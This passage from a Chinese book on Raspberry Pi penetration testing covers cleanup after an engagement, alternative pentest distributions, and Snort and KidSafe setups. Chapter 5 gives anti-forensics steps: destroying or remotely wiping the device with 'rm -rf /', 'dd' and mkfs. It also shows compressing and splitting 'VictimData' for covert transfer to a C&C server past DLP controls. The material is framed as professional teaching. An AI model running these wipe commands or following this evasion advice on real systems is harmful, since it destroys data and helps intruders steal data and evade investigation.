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代理服务器的管理员可以看到来往的流量，也能定位出经过代理的攻击目标和受害者，所以强烈建议在使用代理前，先搜一下这家代理服务器的口碑，由于代理有可能未经允许滥用流经的数据，包括在取证时，把这些证据提交给权威机构或出卖你的敏感信息。



5.3.1　代理链Proxychains

要隐藏源IP地址的另一个做法是使用代理链（proxychains）。Proxychains可以利用代理服务器做通道转发Kali命令。需要使用sudo apt-get install proxychains命令来安装该程序，因为默认的Kali Linux ARM映像中没有这个软件。

装完后，需要在etc/proxychains.conf配置文件新增一个代理IP地址，如图5-9所示。
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图5-9

HideMyAss Internet security提供了一些免费可用的代理服务器，可以设置在Proxychains程序中。页面的地址为http://proxylist.hidemyass.com
 。但请记住，这个方法并非绝对很可靠，代理服务器的管理员仍然可以看到全部的流量数据，在未告知的情况下还是可能滥用你的数据。

Proxychains配置文件的语法是proxychains <需要通过代理转发的命令> <可选参数>。在以下的例子中，希望通过proxychains隐藏扫描的源地址，然后用nmap命令来扫描192.168.1.0/24网段。请注意，在执行nmap命令之前，需要如下编辑Proxychains的.conf配置文件。



proxychains nmap 192.168.1.0/24






5.3.2　把树莓派重置成出厂设置

在终端和网络层面掩蔽好自己的痕迹后，最后一步就是从使用的工具里移除取证证据。要清除树莓派上的系统，只要重新刻录一遍SD上的映像即可。可以根据本书第1章的内容，用SD Card Formatter或Apple公司的Disk Utility重新格式化SD卡。然后根据第1章的步骤，继续安装新的映像文件如原版NOOBS程序，以掩盖树莓派曾经运行过Kali Linux。还可以在启动渗透测试之前，先备份好自己的定制版本Kali Linux映像，这样恢复以后就不会含有上次渗透测试时的数据了。

另一种做法是直接取出并毁坏microSD卡。图5-10所示为一块被掰断的microSD卡，这样就不会被追查到了。
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图5-10

5.3.3　远程破坏Kali Linux

有时候碰到的情况是，你已经无法物理地接触到这台树莓派了，但又想确保它不会被客户没收，供以后的取证调查所用。当你把树莓派安插进网络做卧底，通过远程访问渗透进系统后需要做个收尾时，要毁掉树莓派。在这种场景，就无法擦除重写microSD卡里的内容，所以退而求其次的是破坏Kali Linux使得取证调查无法进行，别人不会知道在网络渗透期间这台树莓派做了什么。让我们看看怎样远程干掉树莓派上运行的Kali Linux吧。

通常，第一反应往往是删除所有的内容。要达到目标可以执行rm –rf /命令，rm就是删除的意思，-rf就是无需提示地强制递归删除所有文件和目录，而 / 告诉命令是从根目录开始删除。如果运行这个命令的时候参数是.*，也就是rm -rf .*，会删除所有的文件。这么做实际上不太好，因为删除只是告知系统把这部分空间腾出来可以重新使用了，但并没有重写数据，使用一些取证工具依然可以把数据恢复过来。更好的做法是执行dd if=/dev/zero of=/dev/sda1，这样才会彻底覆盖microSD卡，使数据难以恢复。

另一个做法是用mkfs.ext4 /dev/sda1命令格式化整个磁盘。mkfs.ext4命令用于创建一个新的.ext4文件系统，而/dev/sda1指定的是第一个磁盘上的第一个分区，也就是运行Kali Linux的空间。
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运行这些命令会彻底干掉你的Kali Linux。如果有人让你执行这些命令，请千万小心，网上经常有人拿这些命令来捉弄人。



5.4　编写渗透测试报告

渗透测试服务中，最重要的就是提交给客户的文档质量。作者见过许多很有才的测试人员败给了品质较低但更职业化的服务提供商，仅仅是因为客户对最后报告的观感不同。这与报告提交给目标读者的方式、用户对坏消息有多上心，以及报告里细节有多丰富都有关系。最好的做法是，综合标准的渗透测试报告模式再加上对用户会如何解读报告内容的理解来写。例如，把客户公司里某个人圈定为系统的薄弱环节之一，可能就不太合适，因为那人也许恰好对是否需要购买安全服务具有影响力。

编写报告并不只是把找到的问题汇总进去即可，还需要记录整个使用场景，包括在渗透测试之前的环境：预先提供了什么信息，对当前条件的假设，当展开渗透测试时使用了哪些步骤，每一步执行的结果等。可能会碰到还没完成报告，管理员就补上漏洞的情况，所以记下每一步的时间和日期很关键。关于怎么写渗透测试报告可以参考一些比较受到认可的标准，如参考OWASP的安全测试指南，地址为https://www.owasp.org/index.php/Testing_Guide_Introduction


下面介绍可以帮助创建更专业的渗透测试报告的工具。

5.4.1　获得截图

Kali Linux ARM为了保持轻量，功能较为有限。为了做报告，其中一项尽管简单但执行起来有点烦的工作就是截图。以下介绍以命令行方式和图形界面工具能怎样简化这个过程。

ImageMagick

既可以在终端窗口下载ImageMagick，也可以在终端窗口执行该工具来截图。要下载该工具可以输入sudo apt-get install imagemagick命令。

安装好以后，可以输入import screenshot.png命令来截图。ImageMagick会把鼠标图标变成一个小盒子状，这就代表可以做截图了。点击屏幕上希望截屏的位置，截屏就会在根目录下生成该 .png文件。如果点击了某个窗体，ImageMagick就会只截取该特定窗体内的图片。可以输入eog screenshot.png命令来查看刚才的截图。

如果希望在若干延时后，自动截取树莓派的整个屏幕显示，可以输入sleep 10; import -window root screenshot.png命令。延时截图在有互动的情况下特别管用，如打开某个菜单，然后需要做屏幕截图。sleep后面跟的数字，就是希望过多少秒后开始截屏。import -window root部分的命令就是让ImageMagick对整个屏幕进行截图。命令的最后一个参数是截图要保存成哪个文件名。图5-11展示了该命令的使用。
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图5-11

Shutter

另一款截图工具是Shutter。这款工具也需要用apt-get install shutter下载安装这个程序。装好后，可以在系统的应用分类下拉菜单里找到它，也可以直接在终端窗口里输入shutter。在第一次启动时，Shutter会提示需要先更新插件，才能使用完整功能。

图5-12展示了一个Shutter的会话窗口。
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图5-12

Shutter的窗口中有各种选项。要想截图，可以根据版本的不同，点击箭头或剪刀的图标。这时候屏幕的颜色会有所变化，并提示画一个长方形的截图区域。在希望截图的位置画出长方形截图区，截下来的图就自动出现在Shutter程序的窗口中。这时候就可以对截图进行编辑和保存，供后面写报告时使用。

图5-13就是我对公司站点www.thesecurityblogger.com
 页面的局部截图。
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图5-13

另一种做法是对整个桌面进行截图，方式是点击快捷操作中方形的Desktop按钮。如果只想捕获窗口的部分图像，可以点击快捷操作中Desktop右面那个Window按钮。截图后，可以点击Paintbrush（画笔），调出各种编辑图片相关的功能，如图5-14所示。在保存最后的图像前，可以对截图进行切割、调整大小等操作。也可以点击快捷栏里电脑图标的按钮上传图片，点击画笔形状的按钮进行图像编辑。
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图5-14

5.4.2　压缩文件

如果成功入侵了一套系统或者网络，有时候可能要在系统上添加或者删除数据。数据量可能很大，在网络上传输会颇为费时。如果在被入侵系统上操作的时间也很有限，那就更是个问题了。另外，在网络中移动大文件还可能会触动安全防护系统，如一些安防公司的数据泄漏防护（Data Loss Prevention，DLP）技术。

最好的方法是压缩文件，将文件分成小份，既可以加快下载/上传处理，发送/接收的动作也更隐秘。下面介绍在命令行和图形界面下，怎样实现这个目标。

Zip/Unzip

其中一种简单的命令行方式就是Zip。可以先用Zip在树莓派上压缩文件，以便把压缩文件传回C&C服务器，后续再解压回原来的样子。由于Zip在ARM版Kali里默认没有安装，所以需要执行apt-get install zip命令安装。

装完后，使用zip　“压缩后的文件名”“需要被压缩的文件”命令，其中“压缩后的文件名”是压缩后产生的文件名，而“需要被压缩的文件”是有待压缩的文件。“压缩后的文件名”会自动添加.zip的文件后缀。所以在图5-15所示的例子里，这条命令会把VictimData文件压缩为Stolen.zip文件。
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图5-15

使用unzip Stolen.zip命令即可解压ZIP文件，将压缩文件还原为原始形式，也就是VictimData。也可以明确设定解压出来的文件叫什么名字，如unzip Stolen.zip VictimData.doc。图5-16显示了解压Stolen.zip的命令行。
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图5-16

File Roller

如果需要具有图形化界面的软件处理各种格式的压缩软件，那File Roller就能满足需求。其功能和Zip类似，它可以在简单的图形界面里解压和压缩文件。File Roller也没有默认包括Kali Linux ARM映像里，所以需要执行apt-get install file-roller先安装。装完后，在终端窗口输入file-roller，就会出现程序的图形界面。在图5-17中，把Stolen.zip文件拖进File Roller界面后，就显示出原文件VictimData，然后点击Open按钮即可解压文件。
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图5-17

要压缩文件，可以把文件拖进程序窗口中，File Roller会询问是否需要创建一个新的压缩文件。图5-18展示了把文件VictimData拖到File Roller中，创建了新的压缩文件VictimDataNew.tar.gz的场景。在文件命名提示界面中，设定File Roller压缩后的文件名为VictimDataNew，一旦压缩完成，会自动添加.tar.gz后缀。
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图5-18

split

为了进一步把文件变小，可以在传输之前，将文件拆分为几个小份。一个实现这个功能的简单程序就是split。要分割一个文件，只要输入split“每个文件的大小” “需要被分割的文件名” “分割后文件名”即可。图5-19里的例子展示的就是把文件VictimData分成不超过50M的若干份名为Breakup的小文件。每个50 MB文件的文件名规律是以Breakup开头，后面再跟两个字母，顺序从aa开始。例如，我们的例子最后产生了3个文件，分别为Breakupaa、Breakupab和Breakupac。

[image: Picture 123795]


图5-19

要还原这3个文件，可以执行cat "fileaa fileab fileac" >“合并后的文件名”。因此对上述例子来说，要组装回VictimData文件，就要使用Breakupaa、Breakupab和Breakupa文件名。也可以用cat Breakupa[a-c] > VictimData达到一样的结果，如图5-20所示，因为这3个文件首位字母是一样的，所以这条命令只需要表示第2位字母的顺序。
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图5-20

总结

本章重点讲述渗透测试和攻击练习之后的收尾工作。内容包括从攻入的系统清理痕迹、掩藏网络通信的蛛丝马迹，以及最后清除渗透测试所用树莓派里的证据。本章最后谈到如何为潜在客户创建专业的漏洞提交文档的方法。

下一章介绍除了Kali Linux外，其他适用于树莓派的系统平台。








第6章　其他树莓派项目

树莓派的设计目标就是尽量适应各种对硬件配置要求较低的操作系统。光是有记录的树莓派使用场景就有数百种之多，很多厂家也为树莓派社区发布了经过裁剪的ARM平台安装映像。除了Offensive Security的Kali Linux之外，还有各种其他渗透工具集。

评估其他ARM平台的渗透测试系统时，我们发现大部分发行版彼此都很相似，用的工具也一样，甚至在很多情况下，就是同一个编译版。无论选择了哪个版本的ARM操作系统，它们中的大部分升级周期和时间线路也是一样的。当然到了最后，还是要选择一个最适合自己的发行版。如果不确定选哪个，别担心，就选择Kali Linux好了。

本章讲解了以下内容：


	PwnPi；

	Raspberry Pwn；

	PwnBerry Pi；

	网络防护；

	入侵检测和防护；

	Snort；

	Content filters（内容过滤器）；

	KidSafe；

	用OpenVPN做远程问；

	Tor中继和路由；

	Raspberry Tor；

	Tor router；

	用QEMU模拟器在PC上运行树莓派；

	其他树莓派应用；

	用PiAware做飞行跟踪；

	PiPlay；

	PrivateEyePi。



下面看一下除Kali Linux以外，其他可选的渗透测试平台。列表里排首位的PwnPi是最受欢迎的系统之一，有人甚至觉得它比Kali Linux更好。

6.1　PwnPi

PwnPi是一款非常成熟的用于树莓派的渗透测试平台。在本书写成之时，安全圈里有很多人认为在树莓派上PwnPi甚至比Kali Linux更稳定。但因为现在Kali Linux的受欢迎程度和知名度，就长远来说，树莓派上的Kali Linux会比PwnPi的支持更好。图6-1是PwnPi 3.0在刚启动时的欢迎页面。
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图6-1

PwnPi具有某些独特之处，如支持超过200多个工具。PwnPi是一套专门为树莓派优化的Debian Wheezy系统，有简单的脚本可以自动配置反向Shell连接。可以从站点pwnpi.sourceforge.net
 获得更多PwnPi的信息。

下面介绍怎样在树莓派上安装和运行PwnPi。

1．从pwnpi.sourceforge.net
 网站下载PwnPi。安装步骤与Kali Linux类似。例如，使用sudo dd if=pwnpi-3.0.img of=/dev/disk2命令把pwnpi-3.0.img映像文件安装到microSD卡，因为microSD在Mac电脑上被识别为disk2。

2．有时在加载pwnpi-3.0.img映像时，会碰到启动的问题。解决的方法是下载最新版本。从https://github.com/raspberrypi/firmware
 下载最新的树莓派固件，下载的是一个zip压缩文件。打开压缩文件，将boot目录下的所有文件，复制到安装好pwnpi-3.0.img的SD卡root目录下，若有同名文件则一律覆盖。

3．完成上述步骤后，把microSD卡插进树莓派并启动PwnPi系统。在执行任何操作前，建议备份当前的配置。具体方法在第1章中已探讨过。
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PwnPi和某些ARM系统类似，无法启动的原因往往是由于驱动问题。所以在这里再提到了前面章节说过的步骤，可以在启动PwnPi之前，先复制最新的固件启动文件。如果碰到ARM系统无法启动都可以这么尝试。



4．这时候就可以给树莓派加电开机，启动树莓派Pwn系统了。

5．登录时，会提示输入用户名和密码。默认用户名是root，默认密码是toor。

6．建议在这时候执行apt-get update和apt-get upgrade命令更新系统。PwnPi还有个基本的Web界面可用，然而绝大部分的工具还是需要用终端或者命令行方式执行。要启动图形桌面，可以输入startx。

因为绝大多数工具还是需要用命令行方式运行，图6-2所示的图形界面中可以对终端窗口做一些管理设置，在图形界面的菜单里，也能找到PwnPi所带的一堆工具。
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图6-2

要启用PwnPi中的工具，请先切换到/pentest目录下。所有的工具都在这个目录下。例如，如果想执行SET社工程序，只需在终端窗口输入/pentest/exploits/se-toolkit，就能启动该工具。也可以浏览访问该目录，查看关于如何使用Kali Linux和PwnPi的那些常用工具。

图6-3展示了启动SET套装（Social-Engineer Toolkit）时的场景。
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图6-3
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大多数安全相关发行版会把工具放在/pentest目录下。不同发行版之间的同一版本号程序，实际上就是相同的。



6.2　Raspberry Pwn

Raspberry Pwn发行版的团队还做了Pwn Pad和Pwn Phone。它们是基于Debian的发行版，包含许多常用工具（如SET、Wireshark、dnswalk）和各种无线测试工具。可以将它看成包含许多类似工具的Kali Linux的替代。

Raspberry Pwn的安装过程和常规的ARM平台系统安装不太一样。这是因为Raspberry Pwn是基于树莓派官方的Raspbian操作系统来安装的。

下面介绍安装和运行树莓派Raspberry Pwn使用的步骤。

1．先从http://www.raspberrypi.org/downloads
 下载一个基本的Debian Raspberry Pi（Raspbian）发行版。这些映像文件是持续更新的。在本书写成时，所用的版本是2014-09-09-wheezy-raspbian.img，工作正常。

2．按照第1章的步骤安装系统。安装Debian映像文件的命令是sudo dd if=2014-09-09-wheezy-raspbian.img of=/dev/disk2。

3．装好后，将microSD卡插入树莓派，确保机器可以通过有线网络连上互联网。

4．执行sudo -i“具体命令”切换为root用户。

5．执行ping baidu.com测试网络的联通性。确认网络是联通的之后，输入apt-get update和apt-get upgrade升级固件。这应该只需要几分钟。

6．一旦升级完成，输入apt-get install git安装GIT。然后再执行git clone https://github.com/pwnieexpress/Raspberry-Pwn.git命令下载Raspberry Pwn software软件，如图6-4所示。
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图6-4

7．几分钟后，就可以安装软件了。使用cd Raspberry-Pwn命令，先切换到Raspberry-Pwn目录下，再输入./INSTALL_raspberry_pwn.sh如图6-5所示。

8．安装软件，如图6-5所示。
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图6-5

整个过程大约需要10～20分钟。

9．安装结束后，就会看到树莓派的登录提示符 #。使用默认账号信息登录，用户名pi，密码raspberry。如果修改过登录信息，使用修改后的账号密码。

10．登录后建议运行apt-get update和apt-get upgrade升级系统。

要访问该系统的各种工具，先切换到/pentesting目录。在该目录下，会发现各种常见的渗透工具。
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如果输入startx，启动的只是Raspbian的KDE桌面环境。任何与Raspberry Pwn相关的安装都看不到，如果强行使用还可能导致损坏。建议不要使用KDE桌面环境，只用命令行的功能。



Raspberry Pwn是一套很棒的工具集合，在网络嗅探、使用SET做社会工程攻击和其他相关工具上都非常高效。但在深度和广度上，确实比不上Kali，但它的性能弥补了其他的缺陷。尽管目前未得到支持，但期望Pwnie Express公司日后能直接用集中管理控制台来管理Raspberry Pwn，使Raspberry Pwn能构成整个系统架构中低成本的嗅探器部分。

图6-6为Pwnie Express公司Raspberry Pwn发布页面。
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图6-6

6.3　PwnBerry Pi

PwnBerry Pi的广告词是“树莓派上的另一款渗透测试系统”，它和Kali Linux的许多工具是一致的。很多同事和其他安全专家告诉我，PwnBerry Pi系统的开发者在基于Web平台上做渗透攻击上做了许多优化。然而我自己测试的时候对这点并没有特别的体会。

要注意的是，最好不要从低端系统如树莓派大量使用基于Web方式的渗透测试。如PwnBerry Pi包含了BeEF的安装文件但默认却没有安装这个程序，因为知道大部分渗透测试人员都不会在ARM平台使用这个工具。如果在ARM平台安装BeEF，会看到PwnBerry Pi开发团队加上去的一条警示条，提示在PwnBerry Pi平台上使用BeEF碰到了一些奇怪的表现。

下面介绍怎样安装PwnBerry Pi。安装的过程与Kali Linux不同，但和Raspberry Pwn相近。需要按以下步骤先下载Raspbian映像文件，在此基础上运行PwnBerry Pi。

1．先从http://www.raspberrypi.org/downloads
 下载一个基本的Debian Raspberry Pi（Raspbian）发行版。这些映像文件是持续更新的。在本书写成时，所用的版本是2014-09-09-wheezy-raspbian.img，工作正常。

2．按照第1章的步骤安装系统。假设microSD卡被识别为disk2，那么安装Debian映像文件的命令是sudo dd if=2014-09-09-wheezy- raspbian.img of=/dev/disk2。

3．装好后，将microSD卡插入树莓派，确保机器可以通过有线网络连上互联网。

4．使用“sudo -i命令”切换成root用户。

5．测试网络的联通性，通过ping bing.com。确认网络是联通的之后，输入apt-get update和apt-get upgrade升级固件。这应该只需要几分钟。

6．一旦升级完成，输入apt-get install git安装git。然后输入git clone https://github.com/g13net/PwnBerryPi.git下载PwnBerry Pi软件。

7．几分钟后，应该就可以开始安装软件了。进入PwnBerry Pi目录，使用cd PwnBerry Pi，并输入./installpwnberrypi.sh来安装软件。整个过程大概需要10～20分钟。

8．安装完成后，就会看到树莓派的登录提示符 #。默认的Debian登录信息为用户名pi，密码raspberry。如果修改过登录信息，使用修改后的。

与许多发行版类似，PwnBerry Pi的工具都存放在pentest目录下，可以在终端窗口下，输入cd /pentest　命令进入。来到pentest目录后，会看到里面很多子目录，里面存放着安装的各款渗透测试工具。图6-7就是在图形界面的终端窗口中，执行ls命令后列出所有目录的情况。每个目录里都是一套可用的工具集。
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图6-7
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你不会想要执行startx命令的，因为它只会启动Raspbian里的KDE桌面环境。运行KDE对PwnBerry Pi没有任何好处，还可能使PwnBerry Pi上的各款工具运行出错。



还有几个值得注意的例外。Metasploit位于/opt/msf3目录下。你会发现这个版本比较老。新一些的Metasploit无法在PwnBerry Pi下正常工作。然而，这个特定版本的Metasploit运行得还不错，性能方面尤其明显。
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请注意所有的工具都未预装，想用哪个工具要先安装。



我在测试时发现，某些工具虽然功能正常，但仍然会抛出些警告信息，提醒在树莓派上可能会出现问题。总的来说，PwnBerry Pi还行，但更建议选择成熟的工具集，如Kali Linux或PwnPi。

6.4　网络防护

本书的大部分内容都与攻击相关。但很不幸，有一天可能会发现自己的系统也需要抵挡各种攻击。这时候，你的防护手段就受到挑战了，希望此时你有合适的工具能及时发现攻击，避免入侵造成损失。

需要特别指出，树莓派并不适宜做网络防护平台。最好的做法是针对不同的入侵，部署不同的安全产品，如应用层控制、带状态信息的网络防火墙、入侵检测、访问控制、网络分段、恶意软件检测、网络监控、数据泄露等。要足以对抗当前的各种网络威胁，大多数此类产品都需要很高的处理能力和庞大的存储。很不幸，这些要求树莓派是无能为力的。

如果只是想在小型实验室环境测试基本的安全概念，比如用防火墙给网络划分网段或部署IDS扫描基本的威胁，那树莓派还是可以胜任便携实验室的功能的。某些ARM平台的硬件确实宣称适用于防护小型办公环境，然而还是不建议用树莓派来保护真实环境里的设备。

下面首先介绍怎样将树莓派变成IDS/IPS。在后文还会介绍树莓派的其他安全防护用法，如把树莓派用作VPN服务器或Tor节点等。

6.4.1　入侵检测和防护

说不定什么时候，你就成了网络入侵的受害者。最好的防护方式就是针对网络上的各个层面，部署多种安全防护方案，如果出现了入侵者，某个工具就能识别出来并阻断攻击者。常见的防护工具包括从防火墙到入侵检测技术如IDS/IPS产品。

可以把树莓派配置成一个低成本IDS/IPS，以提供某方面的网络防护功能。但只能在很特定的情况下这么做，因为有更好的适合长期使用的IPS/IDS产品。凡是超出基本检测和拦截的事情，树莓派的运算能力和存储能力就无法应对了，因此只用作测试和培训用途就好。

说到IPS/IDS，首要的事情是怎么部署。典型的使用场景是路由器和其他网络设备之间，或者某个系统接入网络的位置。当然可以部署为只做入侵检测的系统，这意味着我们的设备只是监控网络流量的镜像，但不能做强制性的拦截。在下面的例子里，会用Snort实现的IPS系统作为中间人，串在笔记本电脑和外部网络之间。在连入一个不信任的网络又没有走VPN网络时，这种方式比较理想。这种部署模式树莓派需要两个有线网口，所以用一个USB有线网卡做第二个网口。

把树莓派部署成中间人攻击和把树莓派部署成中间人方式的IPS，其步骤是类似的。需要先把两块网卡的地址设置为0.0.0.，使用网桥程序把两块网卡桥接起来。具体步骤在3.4节讨论过。把两块网卡桥接为网桥需要用到命令如图6-8所示。
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图6-8

Snort

Snort是当今最常见的开源IDS/IPS系统，因为思科收购了Sourcefire，所以Snort现在属于思科旗下。在树莓派上使用Snort的最主要问题是该程序需要的资源超出了树莓派的能力。要使它能正常工作，建议调低Snort的处理能力。

可以在Kali Linux里执行和安装Snort，尽管并未预装。
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确保在桥接两块网卡之前，先把Snort下载和升级好了，否则设置为网桥后，可能就无法访问互联网了。一个解决方案是在需要升级时，再增加一块无线网卡或有线网卡来提供互联网连接，而另两块网卡用作网桥。



让我们来看看怎么安装和使用Snort。按以下步骤把中间人网桥搭建好。

1．使用以下命令下载所需的文件。



sudo apt-get install flex bison build-essential checkinstall libpcap-dev libnet1-dev libpcre3-dev libmysqlclient15-dev libnetfilter-queue-dev iptables-dev






2．Snort还依赖一些未包含在Kali Linux ARM映像文件里的库文件。而Snort要正常工作，还需要安装这些依赖库，方式是输入以下命令。



 wget https://libdnet.googlecode.com/files/libdnet-1.12.tgz






3．然后执行tar -zxvf libdnet-1.12.tgz命令解压这个文件。文件解压后，使用cd进入解压后的目录。

4．要适应64位操作系统还需要指定CFLAGS变量，方法是输入./configure CFLAGS="-fPIC"命令。执行完这一步后，再输入make命令进行编译。

5．下一步需要创建一个符号链接，从实际的libdnet目录链接到Snort期望的libdnet库位置。输入命令：ln -s /usr/local/lib/libdnet. 1.0.1 / usr/lib/libdnet.1
 。

6．再切换到一个用于安装Snort的目录下。可以在桌面上创建一个新的snort目录，方法是在命令行状态下，从桌面目录执行命令mkdir snort，或图形界面下的桌面上，右键并选择创建新目录snort。

7．接下来，需要下载Snort所需要的数据库文件。输入wget https://www.snort.org/downloads/snort/daq-2.0.4.tar.gz命令。请注意这个版本可能已经与实际情况不符。请访问snort.org以确保获得最新版本。

8．使用以下命令下载Snort
[1]

 。



 wget https://www.snort.org/downloads/snort/snort-2.9.7.0.tar.gz 






9．使用以下命令解压并安装Snort数据库。



 tar -zxvf daq-2.0.4.tar.gz 


 cd daq-2.0.4 


 ./configure; make; sudo make install






10．下载Oinkcode版或社区版规则库。Oinkcode规则的序列号需要和已有的Snort用户帐号绑定。如果无法获得Oinkcode规则库，可以下载社区版规则库。

11．执行wget https://www.snort.org/rules/community命令，会在当前目录下保存了一个community.tar.gz文件。然后将这个文件解压到Snort的规则目录下，方法：tar xvfz community.tar.gz -C /etc/snort/rules。
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在某些情况下，上述wget命令下载回来的文件可能缺少文件后缀名。如果下载到的文件就叫community或类似名字，后面没有.tar.gz后缀名，需要先执行mv community community. tar.gz命令。



12．接下来可以开始安装Snort了。要安装Snort，先输入apt-get install snort。会看到配置Snort网络接口IP地址和子网掩码的提示，如图6-9所示。
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图6-9

完成设置后，Snort的安装过程也完成了，如图6-10所示。
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图6-10

这样就已经成功配置好Snort了。这时就可以用Snort来完成各种任务了，如输入snort命令来分析前面步骤里创建好的网桥的网络流量。可以专门为Snort写一整本书，当然也确实已有此类书籍了。如果对Snort不熟悉，建议访问其官方站点www.snort.org
 了解更多。

启动Snort最容易的方式就是输入./snort -i eth0；这会启动Snort并在网卡0上进行监听。还有许多高级设置可用做各种流量捕获并能把信息转发给syslog服务器用于后续分析。默认Snort会如图6-11所示的那样把所有信息显示在终端屏幕上。虽然屏幕上消息滚动很快，但也不用担心看不清楚，因为可以把这些信息转发到外部syslog服务器上。
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图6-11

额外的步骤是通过脚本，把Snort设置为自启动。这种情况一般是把树莓派专门用于Snort。以下例子就是创建脚本，在开启树莓派时自动启动Snort。


autostart-IDS.sh脚本

#!/bin/bash 


# 以下步骤把两块网卡配置为网桥
ifconfig eth0 0.0.0.0 


ifconfig eth1 0.0.0.0 


brctl addbr bridge0 


brctl addif bridge0 eth0 


brctl addif bridge0 eth1


ifconfig bridge0 up 


#以下命令通过Snort和TCPdump开始监听并检测经过网桥接口的网络流量
tcpdump -i bridge0 -w /root/IDS-log/networkdump/network-traffic-$(date+%y%m%d).cap &


snort -i bridge0 -v |tee /root/IDS-log/snortdump/Snort-dump-$(date +%ym%d) &






6.4.2　内容过滤器

内容过滤器用于读者浏览互联网时，授权他们可以阅览哪些类型的内容。以往的内容过滤器需要手工调整，如手工更新URL列表，然而现在大多数广告都会自动提供内容分类，自动更新网站标签。对业界网络管理员来说，最常见的使用场景是拦截互联网上某些不当内容如色情网站。通常来说，内容过滤系统和网络代理或应用层防火墙是功能绑定的。

下面介绍怎样把树莓派变成一个家庭办公环境里的内容过滤系统，方便父母控制孩子使用家里的网络。

KidSafe

KidSafe用于读者浏览互联网时，过滤他们不能浏览的不恰当的内容。KidSafe的机制是通过Squid代理整合开源的网页URL过滤服务。这样父母只需通过一套简单易用图形界面，就能控制孩子的互联网访问权限了。

KidSafe可以装在各种版本的Linux下，包括树莓派版Kali。这个应用适用于低能耗低成本的运算平台，很适合家庭使用。建议在Raspbian系统上安装KidSafe，这样就不需要牵扯到与Kali Linux相关的其他设置。购买树莓派时，默认的安装版本就是Raspbian ARM。当然也可以到http://www.raspberrypi.org/downloads/
 下载安装。安装过程和Kali Linux类似，详见第1章。

步骤如下。

1．准备安装KidSafe前，需要将默认的DHCP方式改为静态地址方式，这样就无需担心IP地址会变。客户端如PC机和智能手机需要通过它代理上网，所以确保它使用的是静态地址很重要，这样其他的网络设备才能访问到它。所以必须是静态地址，终端设备才不需要来回调整代理服务器IP设置。需要执行以下步骤。

（1）把IP改为静态地址。

（2）输入ifconfig命令查看网络接口。看到的信息类似于图6-12所示。请留意运行命令后的返回结果。
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图6-12

（3）编辑网卡接口文件。此处用nano来完成
[2]

 ，但也可以选择自己喜欢的编辑器。输入sudo nano /etc/network/interfaces命令。执行命令后出现图6-13
[3]

 。
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图6-13

（4）找到类似这句的地方：iface eth0 inet dhcp。需要把这一行改为静态地址。在本例中，设定的静态IP地址为10.0.1.167，子网掩码为255.255.255.0，以及默认网关10.0.1.1，如图6-14所示。
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图6-14

2．接着执行sudo apt-get install tor命令来安装tor。

3．使用sudo apt-get install squid3命令安装Squid。

4．然后安装轻量级Web服务器lighttpd，执行sudo apt-get install lighttpd命令。

5．KidSafe需要用到PHP。为了安装PHP，执行sudo apt-get install php5- common php5-cgi php5 php5-mysql命令，再执行sudo lighty-enable- mod fastcgi-php命令启用对php的支持。

6．此时需要重新加载Web服务，执行命令sudo service lighttpd force- reload。

7．安装图形界面的PHP管理工具。这一步并非必要，只是有Web管理界面，能更容易对PHP进行管理
[4]

 。要安装图形界面的管理器，执行sudo apt-get install phpmyadmin命令。装完后，就可以在浏览器里访问http://localhost/phpmyadmin/
 管理PHP了。

8．接着，输入sudo chown www-data:www-data /var/www命令修改网页目录的属主和属组。另外，还需要修改一下目录的权限，执行sudo chmod 775 /var/www命令。

9．如果没有用户名，使用sudo adduser proxy命令增加一个proxy用户。另外，使用命令sudo passwd proxy修改该用户的密码。再把这个用户名加到具有管理目录权限的小组里，执行命令sudo usermod -a -G www-data proxy。

10．执行sudo cd/opt切换到/opt目录。确保执行了cd命令后，就位于/opt目录下了。

11．接着，再下载个协助程序（helper application），以简化proxy和Squid的配置。请前往http://www.penguintutor.com/software/squid-kidsafe/0.2.0/kidsafe-squidapp-0.2.0.tgz
 下载该程序。可以从命令行输入sudo wget http://www.penguintutor.com/software/squid-kidsafe/0.2.0/kidsafe-squidapp-0.2.0.tgz。确保此时位于/opt目录下。
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检查当前使用和下载的是否最新版本的kidsafe程序。如果不是，请调整上述下载地址，下载最新版本程序；有很大的可能，最新版本和上面那个下载文件仅是版本号不一样。



12．使用sudo tar -zxvf kidsafe-squidapp-0.2.0.tgz命令解压文件。

13．用最习惯的编辑器修改/opt/kidsafe/kidsafe.squid3.inc文件。在最后一行里，把192.168.0.3改为实际的IP地址。

14．根据子网的实际情况，修改acl local_acl dst 192.168.0.0/16这句的网段设置。

15．还需要把Squid配置文件和KidSafe文件合并到一起。在Squid配置文件中
[5]

 ，输入include /opt/kidsafe/kidsafe.squid3.inc.

16．需要修改或调整若干文件的权限。输入以下命令：



 cd /opt/kidsafe 


 sudo chown :www-data .


 sudo chmod 775 .


 sudo chown :proxy kidsafe.py 


 sudo chmod 770 kidsafe.py


 sudo chown :www-data kidsafe.rules kidsafe.session 


 sudo chmod 664 kidsafe.rules kidsafe.session






17．现在可以把KidSafe应用程序下载和安装到 /var/www目录。要下载KidSafe，输入sudo wget kidsafe-webapp0.2.0.tgz。确保当前在/var/www目录下。也请注意，你下载的版本也许与例子中用的并不一致。

18．使用以下命令解压文件。



 sudo tar -xvzf /home/pi/kidsafe-webapp-0.2.0.tgz






19．打开浏览器，访问 http://localhost/phpmyadmin/
 。点击Databases并选择创建新数据库Create New Database。输入数据库的名字为kidsafe。把数据库的类型设置为Local，如图6-15所示。
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图6-15

20．Password密码设置成与kidsafe-config.php文件里所设的值一样。点击Save and apply the configuration。在数据库相关权限Database- specific privileges菜单中选择kidsafe数据库。对Privileges，只需要选择SELECT, INSERT, UPDATE, DELETE。对Grant权限, 选择No。对Table-specific privileges也选择No。

21．此时点击左侧标签页上的Databases按钮。再点击选择SQL标签页，复制和粘贴以下文件里的内容：http://www.penguintutor.com/software/squid-kidsafe/0.2.1/kidsafe-database.txt
 ，再执行其中的SQL命令创建数据库各表结构。
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同文件的另一个地址为http://www.drchaos.com/wp-content/uploads/2014/11/kidsafe-database.txt
 。



图6-16展示了phpMyAdmin页面。
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图6-16
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大家看到的页面内容也许与这里展示的很不一样，因为这里还运行了很多其他应用和数据库。



22．输入以下命令，修改日志文件的权限：



 cd /var/log/squid3 


 sudo touch kidsafe.log 


 sudo chown :www-data kidsafe.log






到这里设置完成了。可以访问http://localhost/kidsafe
 配置规则、登录账号并完成其他设置。
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关于如何使用Kidsafe的更详尽内容，可以参阅 http://www.penguintutor.com/linux/raspberrypi-kidsafe
 。



图6-17展示了在KidSafe管理下，网站被阻止时看到的页面。

[image: Picture 11338]


图6-17
